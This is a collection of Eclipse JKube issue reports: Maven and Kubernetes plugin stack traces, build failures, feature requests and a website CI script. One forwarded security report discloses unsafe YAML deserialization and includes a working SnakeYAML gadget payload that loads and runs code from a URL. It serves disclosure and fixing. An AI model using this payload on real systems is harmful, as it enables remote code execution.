at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:309)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:194)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:107)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:955)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:290)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:194)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:289)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:229)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:415)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:356)
Caused by: java.lang.IllegalArgumentException: No <dockerHost> given, no DOCKER_HOST environment variable, no read/writable '/var/run/docker.sock' or '//./pipe/docker_engine' and no external provider like Docker machine configured
at org.eclipse.jkube.kit.build.service.docker.access.DockerConnectionDetector.detectConnectionParameter (DockerConnectionDetector.java:104)
at org.eclipse.jkube.kit.build.service.docker.DockerAccessFactory.createDockerAccess (DockerAccessFactory.java:38)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:103)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:51)
at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:134)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:208)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:154)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:146)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:51)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:309)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:194)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:107)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:955)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:290)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:194)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:289)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:229)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:415)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:356)
[ERROR]
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/PluginExecutionException
When running oc:build
goal with flags -Djkube.build.strategy=docker
or -Djkube.mode=kubernetes
docker service hub is not ready:
[ERROR] oc: Failed to execute the build [Service hub created without a docker access to a docker daemon]
In order to fix AbstractDockerMojo#isDockerAccessRequired
method must be overridden to consider these flags.
Proxy issue for https://bugs.eclipse.org/bugs/show_bug.cgi?id=561261
From the Security Team Inbox:
--
https://github.com/eclipse/jkube/blob/master/jkube-kit/common/src/main/java/org/eclipse/jkube/kit/common/util/YamlUtil.java#L112 uses insecure way to construct Yaml Object leading to remote code execution. Here is a sample code which would invoke malicious code hosted in localhost:9000.
String code = "maps: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:9000/\"]]]]";
YamlUtil.getPropertiesFromYamlString(code);
Please refer SafeConstructor() and https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-restrict-classes-to-be-loaded on using the api securely.
Reference: https://cwe.mitre.org/data/definitions/502.html
--
There's help for managing vulnerabilities in the handbook.
https://www.eclipse.org/projects/handbook/#vulnerability
Project contains convergence issues with dependencies referenced across different modules. Maven Enforce Plugin should be set up to prevent these convergence issues.
The following statement is unreachable:
https://github.com/eclipse/jkube/blob/8ccdddae80aeaf5ba849aefdd98e87197e12ced8/jkube-kit/build/service/docker/src/main/java/org/eclipse/jkube/kit/build/core/assembly/DockerAssemblyManager.java#L411
Analyze what happened to the logic in the following lines:
https://github.com/eclipse/jkube/blob/8ccdddae80aeaf5ba849aefdd98e87197e12ced8/jkube-kit/build/service/docker/src/main/java/org/eclipse/jkube/kit/build/core/assembly/DockerAssemblyManager.java#L403-L409
Perform necessary actions
When parsing configuration in pom.xml
tags assembly.inline.files.file
containing filtered
field cannot be parsed>marshaled to JKubeAssemblyFile
object instances.
It also seems that these entries are ignored in DockerAssemblyManager.
filtered
logic to remove filesFiltered is used for variable interpolation, as of now, this field is ignored > #94 .
I know fabric8 maven plugin only supports OpenShift 3, not sure if jkube supports OpenShift 4?
As a JKube project maintainer I need a CI script to automatically publish updates to jkubeio/jkube-website.
The script builds the Gatsby project and copies the generated static files to the main root of the repo (https://git.eclipse.org/.../jkube) project in the master branch.
The script performs the following tasks;
git clone <gerrit-url> gerrit-website-repository/
rm -rf gerrit-website-repository/!(.git)
npm install && npm run build
cp -avr public/* gerrit-website-repository/
cd gerrit-website-repository
git add .
git commit -m "CI website update"
git push origin master
As a user or a member of JKube's community I want to see JKube in the proper letter case.
@eclipsewebmaster @eclipse/ecd-jkube-committers : Do you think it's possible to provide admin access to us for this repository? Right now we're not able to add labels to repository or even enabe github pages.
If not, Could you please do the following:
gh-pages
)Operating System
$ uname -a
Linux zoltan-VirtualBox 5.3.0-46-generic #38~18.04.1-Ubuntu SMP Tue Mar 31 04:17:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Eclipse JKube version
org.eclipse.jkube
kubernetes-maven-plugin
1.0.0-alpha-1
Java version
$ java -version
java version "13.0.2" 2020-01-14
Java(TM) SE Runtime Environment (build 13.0.2+8)
Java HotSpot(TM) 64-Bit Server VM (build 13.0.2+8, mixed mode, sharing)
Maven version
mvn -version
Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f)
Maven home: /home/zoltan/.sdkman/candidates/maven/current
Java version: 13.0.2, vendor: Oracle Corporation, runtime: /home/zoltan/dev/java/jdk-13.0.2
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "5.3.0-46-generic", arch: "amd64", family: "unix"
Target cluster version (Kubernetes, OpenShift, Minikube, CRC, etc.)
$ minikube version
minikube version: v1.9.1
commit: d8747aec7ebf8332ddae276d5f8fb42d3152b5a1
$ kubectl version
Client Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.0", GitCommit:"9e991415386e4cf155a24b1da15becaa390438d8", GitTreeState:"clean", BuildDate:"2020-03-25T20:08:47Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.0", GitCommit:"9e991415386e4cf155a24b1da15becaa390438d8", GitTreeState:"clean", BuildDate:"2020-03-25T14:50:46Z", GoVersion:"go1.13.8", Compiler:"gc", Platform:"linux/amd64"}
Symptom:
k8s:watch
fails due to
[INFO] <<< kubernetes-maven-plugin:1.0.0-alpha-1:watch (default-cli) < :deploy @ shopping-cart <<<
[INFO]
[INFO]
[INFO] --- kubernetes-maven-plugin:1.0.0-alpha-1:watch (default-cli) @ shopping-cart ---
[INFO] k8s: Running generator spring-boot
[INFO] k8s: spring-boot: Using Docker image fabric8/java-centos-openjdk11-jdk as base / builder
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.bouncycastle.jcajce.provider.drbg.DRBG (file:/home/zoltan/.m2/repository/org/bouncycastle/bcprov-jdk15on/1.61/bcprov-jdk15on-1.61.jar) to constructor sun.security.provider.Sun()
WARNING: Please consider reporting this to the maintainers of org.bouncycastle.jcajce.provider.drbg.DRBG
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
[INFO] k8s: Running watcher spring-boot
[INFO] k8s: spring-boot: Watching pods with selector LabelSelector(matchExpressions=[], matchLabels={app=shopping-cart, provider=jkube, group=hu.egroup}, additionalProperties={}) waiting for a running pod...
[INFO] k8s:[NEW] shopping-cart-685dbc5cc5-q8qr9 status: Running Ready
[INFO] k8s:[NEW] Tailing log of pod: shopping-cart-685dbc5cc5-q8qr9
[INFO] k8s:[NEW] Press Ctrl-C to stop tailing the log
[INFO] k8s:[NEW]
[INFO] k8s: spring-boot: exec java -javaagent:/opt/agent-bond/agent-bond.jar=jolokia{{host=0.0.0.0}},jmx_exporter{{9779:/opt/agent-bond/jmx_exporter_config.yml}} -XX:+ExitOnOutOfMemoryError -cp . -jar /deployments/shopping-cart-0.0.1-SNAPSHOT.jar
[INFO] k8s: spring-boot: I> No access restrictor found, access to any MBean is allowed
[INFO] k8s: spring-boot: Jolokia: Agent started with URL http://172.18.0.12:8778/jolokia/
[INFO] k8s: spring-boot:
[INFO] k8s: spring-boot: . ____ _ __ _ _
[INFO] k8s: spring-boot: /\ / ' __ _ () __ __ _ \ \ \
[INFO] k8s: spring-boot: ( ( )__ | '_ | '| | ' / ` | \ \ \
[INFO] k8s: spring-boot: \/ )| |)| | | | | || (| | ) ) ) )
[INFO] k8s: spring-boot: ' || .__|| ||| |_, | / / / /
[INFO] k8s: spring-boot: =========||==============|/=////
[INFO] k8s: spring-boot: :: Spring Boot :: (v2.2.6.RELEASE)
[INFO] k8s: spring-boot:
[INFO] k8s: spring-boot: 2020-04-15 12:41:45.805 INFO 1 --- [ main] h.e.shopping.ShoppingServiceApplication : Starting ShoppingServiceApplication v0.0.1-SNAPSHOT on shopping-cart-685dbc5cc5-q8qr9 with PID 1 (/deployments/shopping-cart-0.0.1-SNAPSHOT.jar started by jboss in /deployments)
[INFO] k8s:[NEW] shopping-cart-685dbc5cc5-q8qr9 status: Running Ready
[INFO] k8s: spring-boot: 2020-04-15 12:41:45.809 INFO 1 --- [ main] h.e.shopping.ShoppingServiceApplication : No active profile set, falling back to default profiles: default
[INFO] k8s: spring-boot: 2020-04-15 12:41:45.961 INFO 1 --- [ main] .e.DevToolsPropertyDefaultsPostProcessor : Devtools property defaults active! Set 'spring.devtools.add-properties' to 'false' to disable
[INFO] k8s: spring-boot: 2020-04-15 12:41:45.962 INFO 1 --- [ main] .e.DevToolsPropertyDefaultsPostProcessor : For additional web related logging consider setting the 'logging.level.web' property to 'DEBUG'
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.413 INFO 1 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat initialized with port(s): 8080 (http)
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.428 INFO 1 --- [ main] o.apache.catalina.core.StandardService : Starting service [Tomcat]
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.428 INFO 1 --- [ main] org.apache.catalina.core.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.33]
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.578 INFO 1 --- [ main] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring embedded WebApplicationContext
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.579 INFO 1 --- [ main] o.s.web.context.ContextLoader : Root WebApplicationContext: initialization completed in 2617 ms
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.888 WARN 1 --- [ main] .s.b.d.a.RemoteDevToolsAutoConfiguration : Listening for remote restart updates on /.~~spring-boot!~/restart
[INFO] k8s: spring-boot: 2020-04-15 12:41:49.724 INFO 1 --- [ main] o.s.s.concurrent.ThreadPoolTaskExecutor : Initializing ExecutorService 'applicationTaskExecutor'
[INFO] k8s: spring-boot: 2020-04-15 12:41:50.209 INFO 1 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat started on port(s): 8080 (http) with context path ''
[INFO] k8s: spring-boot: 2020-04-15 12:41:50.216 INFO 1 --- [ main] h.e.shopping.ShoppingServiceApplication : Started ShoppingServiceApplication in 5.539 seconds (JVM running for 7.221)
[INFO] k8s: spring-boot: No exposed service found for connecting the dev tools
[INFO] k8s: Starting port-forward to pod shopping-cart-685dbc5cc5-q8qr9
[INFO] k8s: spring-boot: Running RemoteSpringApplication against endpoint: http://localhost:65338
[ERROR] k8s: An error has occurred while while trying to watch the resources [null]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 24.655 s
[INFO] Finished at: 2020-04-15T14:41:51+02:00
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:kubernetes-maven-plugin:1.0.0-alpha-1:watch (default-cli) on project shopping-cart: An error has occurred while while trying to watch the resources: NullPointerException -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
Exception in thread "Thread-17" java.lang.NoClassDefFoundError: okhttp3/internal/ws/WebSocketProtocol
at okhttp3.internal.ws.RealWebSocket.close(RealWebSocket.java:415)
at okhttp3.internal.ws.RealWebSocket.close(RealWebSocket.java:411)
at io.fabric8.kubernetes.client.dsl.internal.WatchConnectionManager.closeWebSocket(WatchConnectionManager.java:374)
at io.fabric8.kubernetes.client.dsl.internal.WatchConnectionManager.close(WatchConnectionManager.java:348)
at org.eclipse.jkube.ki[INFO] k8s: Port forwarding to port 8080 on pod shopping-cart-685dbc5cc5-q8qr9 using command /snap/bin/kubectl
t.config.service.PortForwardService.lambda$forwardPortAsync$0(PortForwardService.java:166)
at org.eclipse.jkube.kit.config.service.PortForwardService$3.run(PortForwardService.java:177)
Caused by: java.lang.ClassNotFoundException: okhttp3.internal.ws.WebSocketProtocol
at org.codehaus.plexus.classworlds.strategy.SelfFirstStrategy.loadClass(SelfFirstStrategy.java:50)
at org.codehaus.plexus.classworlds.realm.ClassRealm.unsynchronizedLoadClass(ClassRealm.java:271)
at org.codehaus.plexus.classworlds.realm.ClassRealm.loadClass(ClassRealm.java:247)
at org.codehaus.plexus.classworlds.realm.ClassRealm.loadClass(ClassRealm.java:239)
... 6 more
Relates to #113
mvn k8s:build generate a artifcat in the root folder : targetquarkus-k8s-hello-1.0.0-SNAPSHOT.jar there is a "/" missing. should be : target/quarkus-k8s-hello-1.0.0-SNAPSHOT.jar
k8s:build generates the jar file in the wrong folder : missing / to get target/quarkus-k8s-hello-1.0.0-SNAPSHOT.jar
I would like to have the option to choose where I want to output charts to be generated. I'll like prefer to have it in ./charts folder instead of target... like that I could add it to my source code.
something like :
<plugin>
<groupId>org.eclipse.jkube</groupId>
<artifactId>k8s-maven-plugin</artifactId>
<version>0.2.0</version>
<configuration>
<outputDir>./charts</outputDir>
</configuration>
</plugin>
for now I'm using this
(your helm mojo is broken for now, that's why I'm using fabric8)
mvn fabric8:helm -D=fabric8.helm.outputDir=./charts
the file Chart.yaml could be enhanced like that (it contains more useful informations and display nice in chartmuseum UI too :
apiVersion: v1
appVersion: "1.0"
description: A Helm TEST chart for Kubernetes
name: test-k8s-helm
version: 0.1.1
maintainers: [email protected]
home: http://url-du-projet
icon: http://littleicon.png
sources:
- githubpath
all that information could be in configuration in the pom.xml
if the folder is present.. just override the files without deleted the content.
I want to build a docker image with the plugin k8s from a quarkus project but it failed.
I create a project : https://github.com/survivant/quarkus-k8s-hello
I generate the project from codeio and added one endpoint to call kubernetes to retreive namespace.
I'm on Windows 10.
when I enter the command :
mvn package k8s:build
C:\workspace\quarkus-k8s-hello>mvn package k8s:build -e
[INFO] Error stacktraces are turned on.
[INFO] Scanning for projects...
[INFO]
[INFO] ---------------------< ca.demo:quarkus-k8s-hello >----------------------
[INFO] Building quarkus-k8s-hello 1.0.0-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ quarkus-k8s-hello ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] Copying 2 resources
[INFO]
[INFO] --- maven-compiler-plugin:3.8.1:compile (default-compile) @ quarkus-k8s-hello ---
[INFO] Nothing to compile - all classes are up to date
[INFO]
[INFO] --- maven-resources-plugin:2.6:testResources (default-testResources) @ quarkus-k8s-hello ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] skip non existing resourceDirectory C:\workspace\quarkus-k8s-hello\src\test\resources
[INFO]
[INFO] --- maven-compiler-plugin:3.8.1:testCompile (default-testCompile) @ quarkus-k8s-hello ---
[INFO] Nothing to compile - all classes are up to date
[INFO]
[INFO] --- maven-surefire-plugin:2.22.1:test (default-test) @ quarkus-k8s-hello ---
[INFO] Surefire report directory: C:\workspace\quarkus-k8s-hello\target\surefire-reports
[INFO]
[INFO] -------------------------------------------------------
[INFO] T E S T S
[INFO] -------------------------------------------------------
[INFO] Running ca.demo.HelloExampleTest
2020-03-19 10:29:13,457 INFO [io.quarkus] (main) Quarkus 1.2.1.Final started in 1.410s. Listening on: http://127.0.0.1:8282
2020-03-19 10:29:13,460 INFO [io.quarkus] (main) Profile test activated.
2020-03-19 10:29:13,460 INFO [io.quarkus] (main) Installed features: [cdi, kubernetes-client, resteasy, resteasy-jsonb, smallrye-context-propagation, smallrye-fault-tolerance, smallrye-health, smallrye-metrics, smallrye-openapi, spring-boot-properties, swagger-ui]
[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 5.733 s - in ca.demo.HelloExampleTest
2020-03-19 10:29:14,807 INFO [io.quarkus] (main) Quarkus stopped in 0.049s
[INFO]
[INFO] Results:
[INFO]
[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
[INFO]
[INFO]
[INFO] --- maven-jar-plugin:2.4:jar (default-jar) @ quarkus-k8s-hello ---
[INFO]
[INFO] --- quarkus-maven-plugin:1.2.1.Final:build (default) @ quarkus-k8s-hello ---
[INFO] [org.jboss.threads] JBoss Threads version 3.0.0.Final
[INFO] Initializing dekorate session.
[INFO] Default s2i build generator....
[INFO] Registering s2i handler!
[INFO] Generating manifests.
[INFO] Processing kubernetes configuration.
[INFO] Processing openshift configuration.
[INFO] Processing s2i configuration.
[INFO] Closing dekorate session.
[INFO] [io.quarkus.deployment.pkg.steps.JarResultBuildStep] Building thin jar: C:\workspace\quarkus-k8s-hello\target\quarkus-k8s-hello-1.0.0-SNAPSHOT-runner.jar
[INFO] [io.quarkus.deployment.QuarkusAugmentor] Quarkus augmentation completed in 4446ms
[INFO]
[INFO] --- k8s-maven-plugin:0.2.0:build (default-cli) @ quarkus-k8s-hello ---
[INFO] k8s: Running in Kubernetes mode
[INFO] k8s: Building Docker image in Kubernetes mode
[INFO] k8s: Running generator quarkus
[ERROR] k8s: Failed to execute the build [Error while trying to build the image]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 19.607 s
[INFO] Finished at: 2020-03-19T10:29:24-04:00
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:k8s-maven-plugin:0.2.0:build (default-cli) on project quarkus-k8s-hello: Failed to execute the build: Error while trying to build the image: Unexpected internal error near index 1
[ERROR] \
[ERROR] -> [Help 1]
org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.eclipse.jkube:k8s-maven-plugin:0.2.0:build (default-cli) on project quarkus-k8s-hello: Failed to execute the build
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:566)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.apache.maven.plugin.MojoExecutionException: Failed to execute the build
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:718)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:526)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:685)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:79)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:107)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:52)
at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:566)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.eclipse.jkube.kit.config.service.JKubeServiceException: Error while trying to build the image
at org.eclipse.jkube.kit.config.service.kubernetes.DockerBuildService.build (DockerBuildService.java:54)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:715)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:526)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:685)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:79)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:107)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:52)
at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:566)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: java.util.regex.PatternSyntaxException: Unexpected internal error near index 1
\
at java.util.regex.Pattern.error (Pattern.java:2027)
at java.util.regex.Pattern.compile (Pattern.java:1788)
at java.util.regex.Pattern.<init> (Pattern.java:1428)
at java.util.regex.Pattern.compile (Pattern.java:1068)
at java.lang.String.split (String.java:2317)
at java.lang.String.split (String.java:2364)
at org.eclipse.jkube.kit.build.core.assembly.JKubeTarArchiver.createArchive (JKubeTarArchiver.java:70)
at org.eclipse.jkube.kit.build.core.assembly.DockerAssemblyManager.createBuildTarBall (DockerAssemblyManager.java:287)
at org.eclipse.jkube.kit.build.core.assembly.DockerAssemblyManager.createDockerTarArchive (DockerAssemblyManager.java:178)
at org.eclipse.jkube.kit.build.service.docker.ArchiveService.createArchive (ArchiveService.java:120)
at org.eclipse.jkube.kit.build.service.docker.ArchiveService.createArchive (ArchiveService.java:115)
at org.eclipse.jkube.kit.build.service.docker.BuildService.buildImage (BuildService.java:130)
at org.eclipse.jkube.kit.build.service.docker.BuildService.buildImage (BuildService.java:77)
at org.eclipse.jkube.kit.config.service.kubernetes.DockerBuildService.build (DockerBuildService.java:49)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:715)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:526)
at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:685)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:79)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:107)
at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:52)
at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
